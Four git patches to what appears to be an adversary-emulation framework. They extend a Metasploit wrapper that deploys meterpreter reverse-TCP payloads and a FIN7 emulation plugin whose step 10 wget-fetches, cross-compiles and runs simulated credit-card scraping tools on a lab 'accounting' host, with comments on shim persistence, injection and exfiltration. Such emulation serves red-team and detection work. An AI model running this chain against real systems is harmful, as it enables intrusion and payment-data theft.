From 1f9a0d444fde2eb5ffea10037359eb1ec0e2a3bb Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Mon, 21 Jun 2021 13:45:15 +0200 Subject: [PATCH 1/4] waiting for session to be established --- app/metasploit.py | 32 +++++++++++++++---- .../FIN7/fin7_section1.py | 9 ++++-- 2 files changed, 32 insertions(+), 9 deletions(-) diff --git a/app/metasploit.py b/app/metasploit.py index 5e5eab2..50b3d2a 100644 --- a/app/metasploit.py +++ b/app/metasploit.py @@ -36,6 +36,10 @@ class Metasploit(): time.sleep(3) # Waiting for server to start. Or we would get https connection errors when getting the client. def start_exploit_stub_for_external_payload(self, payload='linux/x64/meterpreter_reverse_tcp', exploit='exploit/multi/handler'): + """ + + @:returns: res, which contains "job_id" and "uuid" + """ exploit = self.get_client().modules.use('exploit', exploit) # print(exploit.description) # print(exploit.missing_required) @@ -45,6 +49,7 @@ class Metasploit(): payload["LHOST"] = self.attacker.get_ip() res = exploit.execute(payload=payload) print(res) + return res def start_msfrpcd(self, username): """ Starts the msfrpcs on the attacker. Metasploit must alredy be installed there ! """ @@ -60,17 +65,25 @@ class Metasploit(): self.client = MsfRpcClient(self.password, **self.kwargs) return self.client + def wait_for_session(self): + """ Wait until we get a session """ + + retries = 50 + while self.get_client().sessions.list == {}: + time.sleep(1) + print(f"Waiting to get any session {retries}") + retries -= 1 + if retries <= 0: + raise MetasploitError("Can not find any session") + def get_sid(self, session_number=0): """ Get the first session between hacked target and the metasploit server @param session_number: number of the session to get """ - # TODO improve stability and speed - # print("Get SID") - while len(self.get_client().sessions.list) <= session_number: - time.sleep(1) - # print(f"DONE get sid {self.get_client().sessions.list}") + self.wait_for_session() + return list(self.get_client().sessions.list)[session_number] def get_sid_to(self, target): @@ -79,6 +92,8 @@ class Metasploit(): @param target: a target machine to find in the session list """ + print(f"Sessions: {self.get_client().sessions.list}") + # Get_ip can also return a network name. Matching a session needs a real ip name_resolution_worked = True try: @@ -245,7 +260,9 @@ class MSFVenom(): # Deploy to target if self.attack_logger: self.attack_logger.start_file_write("", self.target.get_name(), payload_name) - self.target.put(src, self.target.get_playground()) + playground = self.target.get_playground() + print(f"Putting to playground {playground}") + self.target.put(src, playground) if self.attack_logger: self.attack_logger.stop_file_write("", self.target.get_name(), payload_name) @@ -262,7 +279,8 @@ class MSFVenom(): if self.attack_logger: self.attack_logger.start_execute_payload("", self.target.get_name(), cmd) - self.target.remote_run(cmd, disown=True) + res = self.target.remote_run(cmd, disown=True) + print(f"Running payload, result is {res}") if self.attack_logger: self.attack_logger.stop_execute_payload("", self.target.get_name(), cmd) self.attack_logger.vprint( diff --git a/plugins/default/adversary_emulations/FIN7/fin7_section1.py b/plugins/default/adversary_emulations/FIN7/fin7_section1.py index a9dae9e..1112bba 100644 --- a/plugins/default/adversary_emulations/FIN7/fin7_section1.py +++ b/plugins/default/adversary_emulations/FIN7/fin7_section1.py @@ -33,6 +33,7 @@ class FIN7Plugin(AttackPlugin): self.metasploit_1 = Metasploit(self.metasploit_password, attacker=self.attacker_machine_plugin, username=self.metasploit_user) self.metasploit_1.start_exploit_stub_for_external_payload(payload=self.payload_type_1) + self.metasploit_1.wait_for_session() return self.metasploit_1 def step1(self): @@ -129,8 +130,6 @@ class FIN7Plugin(AttackPlugin): # --encrypt xor : xor encrypt the results # --encrypt-key m : the encryption key - self.attacker_machine_plugin.remote_run("sudo apt install msfpc") # MSFVenom needs to be installed - venom = MSFVenom(self.attacker_machine_plugin, hotelmanager, self.attack_logger) venom.generate_and_deploy(payload=self.payload_type_1, architecture="x64", @@ -305,6 +304,12 @@ class FIN7Plugin(AttackPlugin): self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 10: Steal Payment Data{CommandlineColors.ENDC}", 1) + def install(self): + """ Install tools for the attack """ + + # MSFVenom + self.attacker_machine_plugin.remote_run("sudo apt -y install msfpc") # MSFVenom needs to be installed + def run(self, targets): """ Run the command From ab8b4f04aa669e2363f669a542b71c9f9ccb3f8e Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Mon, 21 Jun 2021 13:45:47 +0200 Subject: [PATCH 2/4] Adding install function to attack plugins --- app/experimentcontrol.py | 3 +++ plugins/base/attack.py | 6 ++++++ 2 files changed, 9 insertions(+) diff --git a/app/experimentcontrol.py b/app/experimentcontrol.py index 03cb5c6..7b05189 100644 --- a/app/experimentcontrol.py +++ b/app/experimentcontrol.py @@ -203,6 +203,7 @@ class Experiment(): plugin.set_attacker_machine(self.attacker_1) plugin.set_logger(self.attack_logger) plugin.set_caldera(self.caldera_control) + plugin.install() # plugin.__set_logger__(self.attack_logger) plugin.__execute__([target]) @@ -220,6 +221,8 @@ class Experiment(): self.attack_logger.vprint(a_file, 2) zfh.write(a_file) + zfh.write(os.path.join(self.lootdir, "attack.json")) + @staticmethod def __get_results_files(root): """ Yields a list of potential result files diff --git a/plugins/base/attack.py b/plugins/base/attack.py index ada0854..3510ef9 100644 --- a/plugins/base/attack.py +++ b/plugins/base/attack.py @@ -136,6 +136,12 @@ class AttackPlugin(BasePlugin): """ raise NotImplementedError + def install(self): + """ Install and setup requirements for the attack + """ + + return None + def __execute__(self, targets): """ Execute the plugin. This is called by the code From b1a6593908ef47eb0fd2e6457d2e0290389904b2 Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Thu, 24 Jun 2021 09:48:05 +0200 Subject: [PATCH 3/4] Adds the compilation steps to step 10. Rest of step 10 is still todo --- doc/source/basics/windows_targets.rst | 1 + plugins/base/ssh_features.py | 1 + .../FIN7/fin7_section1.py | 78 ++++++++++++++----- .../FIN7/local_experiment_config.yaml | 1 + 4 files changed, 62 insertions(+), 19 deletions(-) diff --git a/doc/source/basics/windows_targets.rst b/doc/source/basics/windows_targets.rst index 26994d9..deb2aec 100644 --- a/doc/source/basics/windows_targets.rst +++ b/doc/source/basics/windows_targets.rst @@ -31,6 +31,7 @@ Some SSH hints (powershell): Powershell:: + Add-WindowsCapability -Online -Name OpenSSH.Client~~~~0.0.1.0 Add-WindowsCapability -Online -Name OpenSSH.Server~~~~0.0.1.0 Start-Service sshd Set-Service -Name sshd -StartupType 'Automatic' diff --git a/plugins/base/ssh_features.py b/plugins/base/ssh_features.py index 6b046b9..23a45cb 100644 --- a/plugins/base/ssh_features.py +++ b/plugins/base/ssh_features.py @@ -136,6 +136,7 @@ class SSHFeatures(BasePlugin): @param dst: destination """ self.connect() + res = None if os.path.isdir(dst): dst = os.path.join(dst, os.path.basename(src)) diff --git a/plugins/default/adversary_emulations/FIN7/fin7_section1.py b/plugins/default/adversary_emulations/FIN7/fin7_section1.py index 1112bba..2cac324 100644 --- a/plugins/default/adversary_emulations/FIN7/fin7_section1.py +++ b/plugins/default/adversary_emulations/FIN7/fin7_section1.py @@ -6,6 +6,7 @@ from plugins.base.attack import AttackPlugin from app.interface_sfx import CommandlineColors from app.metasploit import MSFVenom, Metasploit import os +import time class FIN7Plugin(AttackPlugin): @@ -182,9 +183,10 @@ class FIN7Plugin(AttackPlugin): print(metasploit.meterpreter_execute_on(["arp"], hotelmanager)) # powershell: nslookup to query domain controler(hoteldc) for ip from ARP (Caldera ?) https://attack.mitre.org/techniques/T1018/ # TODO: Add a new machine in config as ip. Re-activate. This command caused trouble afterwards (uploading mimikatz). Maybe it is because of an error - itadmin = self.get_target_by_name("itadmin") + itadmin = self.get_target_by_name("itadmin").get_ip() self.attack_logger.vprint(f"{CommandlineColors.OKCYAN}Execute nslookup through meterpreter{CommandlineColors.ENDC}", 1) - print(metasploit.meterpreter_execute_on([f"execute -f nslookup.exe -H -i -a '{itadmin}'"], hotelmanager)) + cmd = f"execute -f nslookup.exe -H -i -a '{itadmin}'" + print(metasploit.meterpreter_execute_on([cmd], hotelmanager)) # Copy step 5 attack tools to attacker @@ -243,7 +245,12 @@ class FIN7Plugin(AttackPlugin): def step7(self): self.attack_logger.vprint( - f"{CommandlineColors.OKBLUE}Step 7: Setup User Monitoring{CommandlineColors.ENDC}", 1) + f"{CommandlineColors.OKBLUE}Step 7 on itadmin: Setup User Monitoring{CommandlineColors.ENDC}", 1) + + # Start situation: Step 6 executed a meterpreter in hollow.exe We can fake that to be able to start with step 7 directly + + + # This is meterpreter ! # Emulating DLL hijacking functionality of BOOSTWRITE @@ -295,11 +302,39 @@ class FIN7Plugin(AttackPlugin): # Scenario target is the fake payment application AccountingIQ.exe - # Machine is rebooted - # shim dll329.dll is activated https://attack.mitre.org/techniques/T1546/011/ - # AccountingIQ injects into SyncHost.exe, rundll32.exe communicates to C2 - # debug.exe is downloaded from C2, does process discovery https://attack.mitre.org/techniques/T1105/ - # send 7za.exe to target. Zip stolen data, exfiltrate + # TODO: Machine is rebooted + # TODO: shim dll329.dll is activated https://attack.mitre.org/techniques/T1546/011/ + # TODO: AccountingIQ injects into SyncHost.exe, rundll32.exe communicates to C2 + # TODO: debug.exe(pillowMint.exe) is downloaded from C2, does process discovery https://attack.mitre.org/techniques/T1105/ + # TODO: send 7za.exe to target. Zip stolen data, exfiltrate + + # Compiling + + # i686-w64-mingw32-gcc is for 32 bit + # x86_64-w64-mingw32-gcc is for 64 bit + + # Important: pillowMint is not very complex and looks for the data at a fixed address. As we a re-compiling AccountIQ.exe and the data address does not match the expected one we will just get garbage. + + # simulated credit card tool as target + self.attacker_machine_plugin.remote_run("cd tool_factory; rm AccountingIQ.exe") + self.attacker_machine_plugin.remote_run("cd tool_factory; rm AccountingIQ.c; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step10/AccountingIQ.c") + self.attacker_machine_plugin.remote_run("cd tool_factory; i686-w64-mingw32-gcc -m32 -L/usr/i686-w64-mingw32/lib -I/usr/i686-w64-mingw32/include AccountingIQ.c -o AccountingIQ.exe") + + self.attacker_machine_plugin.get("tool_factory/AccountingIQ.exe", os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", "AccountingIQ.exe")) + + # Simulated credit card scraper + self.attacker_machine_plugin.remote_run("cd tool_factory; rm pillowMint.exe") + self.attacker_machine_plugin.remote_run("cd tool_factory; rm pillowMint.cpp; wget https://raw.githubusercontent.com/center-for-threat-informed-defense/adversary_emulation_library/master/fin7/Resources/Step10/pillowMint.cpp") + self.attacker_machine_plugin.remote_run("cd tool_factory; x86_64-w64-mingw32-g++ -static pillowMint.cpp -o pillowMint.exe") + self.attacker_machine_plugin.get("tool_factory/pillowMint.exe", os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", "pillowMint.exe")) + + accounting = self.get_target_by_name("accounting") + accounting.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", "pillowMint.exe"), "pillowMint.exe") + accounting.put(os.path.join(os.path.dirname(self.plugin_path), "resources", "step10", "AccountingIQ.exe"), "AccountingIQ.exe") + + accounting.remote_run("AccountingIQ.exe", disown=True) + time.sleep(1) + accounting.remote_run("pillowMint.exe", disown=False) self.attack_logger.vprint( f"{CommandlineColors.OKGREEN}End Step 10: Steal Payment Data{CommandlineColors.ENDC}", 1) @@ -307,8 +342,13 @@ class FIN7Plugin(AttackPlugin): def install(self): """ Install tools for the attack """ - # MSFVenom + self.attacker_machine_plugin.remote_run("mkdir tool_factory") # MSFVenom needs to be installed self.attacker_machine_plugin.remote_run("sudo apt -y install msfpc") # MSFVenom needs to be installed + self.attacker_machine_plugin.remote_run("sudo apt -y install g++-mingw-w64") # Cross compiler + self.attacker_machine_plugin.remote_run("sudo apt -y install mingw-w64") # Cross compiler + self.attacker_machine_plugin.remote_run("sudo apt -y install powershell") # Microsoft powershell + self.attacker_machine_plugin.remote_run("sudo apt -y install g++-multilib libc6-dev-i386") # 32 bit support + self.attacker_machine_plugin.remote_run("cd tool_factory; git clone https://github.com/monoxgas/sRDI") # To generate PIC def run(self, targets): """ Run the command @@ -316,15 +356,15 @@ class FIN7Plugin(AttackPlugin): @param targets: A list of targets """ - self.step1() - self.step2() - self.step3() # Done and works - self.step4() # Partial - with a hack - self.step5() # Done and quite ok - self.step6() - self.step7() - self.step8() - self.step9() - self.step10() + # self.step1() + # self.step2() + # self.step3() # DONE and works + # self.step4() # PARTIAL - with a hack. Needs compilation of babymetal: Needs a powershell to execute on the build system. And this one needs system access + # self.step5() # DONE and quite ok + # self.step6() # Hollow.exe has to be generated + # self.step7() # Will need compilation of an attack tool Boostwrite + # self.step8() # Migration and credential collection, on itadmin + # self.step9() # on accounting, shim persistence bin329.tmp needs to be generated + self.step10() # on accounting, AccountingIQ.c needs compilation. But just once. return "" diff --git a/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml b/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml index d1eace7..12d4c50 100644 --- a/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml +++ b/plugins/default/adversary_emulations/FIN7/local_experiment_config.yaml @@ -61,6 +61,7 @@ targets: nicknames: - hotelmanager - itadmin + - accounting os: windows paw: target2w From f7b0c5d098aa262d9a27248bfee565f0d013b7ad Mon Sep 17 00:00:00 2001 From: Thorsten Sick Date: Thu, 24 Jun 2021 15:03:09 +0200 Subject: [PATCH 4/4] pep8 --- plugins/default/adversary_emulations/FIN7/fin7_section1.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/plugins/default/adversary_emulations/FIN7/fin7_section1.py b/plugins/default/adversary_emulations/FIN7/fin7_section1.py index 2cac324..817512d 100644 --- a/plugins/default/adversary_emulations/FIN7/fin7_section1.py +++ b/plugins/default/adversary_emulations/FIN7/fin7_section1.py @@ -249,9 +249,6 @@ class FIN7Plugin(AttackPlugin): # Start situation: Step 6 executed a meterpreter in hollow.exe We can fake that to be able to start with step 7 directly - - - # This is meterpreter ! # Emulating DLL hijacking functionality of BOOSTWRITE